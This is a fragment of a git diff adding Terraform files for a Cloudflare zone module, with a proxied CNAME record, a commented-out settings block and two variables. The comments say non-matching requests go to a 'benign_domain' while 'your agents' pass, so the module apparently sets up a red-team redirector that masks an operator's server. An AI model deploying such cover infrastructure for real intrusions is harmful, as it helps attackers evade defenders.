+ zone_id = "${cloudflare_zone.target_domain.id}"
+ name = "${var.my_domain_name}"
+ type = "CNAME"
+ ttl = "1"
+ proxied = "true"
+ value = "${var.benign_domain}"
+}
+
+/*
+resource "cloudflare_zone_settings_override" "zone_settings_override"{
+ zone_id = "${cloudflare_zone.target_domain.id}"
+ settings {
+ always_online = "off"
+ always_use_https = "off"
+ automatic_https_rewrites = "on"
+ brotli = "on"
+ browser_cache_ttl = 1800
+ browser_check = "on"
+ cache_level = "basic"
+ challenge_ttl = 1800
+ cname_flattening = "flatten_at_root"
+ development_mode = "off"
+ edge_cache_ttl = 7200
+ email_obfuscation = "on"
+ hotlink_protection = "off"
+ http2 = "on"
+ http3 = "off"
+ ip_geolocation = "on"
+ ipv6 = "on"
+ max_upload = 100
+ min_tls_version = "1.0"
+ minify {
+ css = "off"
+ html = "off"
+ js = "off"
+ }
+
+ mobile_redirect {
+ mobile_subdomain = ""
+ status = "off"
+ strip_uri = false
+ }
+
+ opportunistic_encryption = "on"
+ opportunistic_onion = "on"
+ privacy_pass = "on"
+ pseudo_ipv4 = "off"
+ rocket_loader = "off"
+ security_header {
+
+ enabled = false
+ include_subdomains = false
+ max_age = 0
+ nosniff = false
+ preload = false
+
+ }
+
+ security_level = "medium"
+ server_side_exclude = "on"
+ sort_query_string_for_cache = "off"
+ ssl = "full"
+ tls_1_3 = "on"
+ tls_client_auth = "off"
+ waf = "off"
+ websockets = "on"
+ zero_rtt = "off"
+ }
+}
+*/
+output "zone_id" {
+ value = "${cloudflare_zone.target_domain.id}"
+}
\ No newline at end of file
diff --git a/modules/cloudflare/zone_creation/variables.tf b/modules/cloudflare/zone_creation/variables.tf
new file mode 100644
index 0000000..4dd14af
--- /dev/null
+++ b/modules/cloudflare/zone_creation/variables.tf
@@ -0,0 +1,12 @@
+//this is your domain
+variable "my_domain_name" {
+}
+
+
+//This is the domain where redirection should
+//send requests that aren't matching either your
+//agents or other filters
+variable "benign_domain" {
+}
+
+